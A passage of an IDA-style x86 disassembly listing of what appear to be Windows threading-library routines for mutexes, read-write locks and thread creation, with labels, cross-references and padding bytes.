		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103C8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103C8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103C8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_5109A0
		call	near ptr 7C901005h
		nop
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103D0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103D0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103CC
		mov	dword_5103D0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103CC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_5109A0
		nop
		call	near ptr 7C9010EDh


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_5109A0
		call	near ptr 7C901005h
		nop
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		call	near ptr 77C1F2BCh
		nop
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103CC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103CC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103D0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103D0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_5109A0
		call	near ptr 7C9010EDh
		nop
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 7EE44FE8h
		dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		call	near ptr 27802A4h
		nop


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
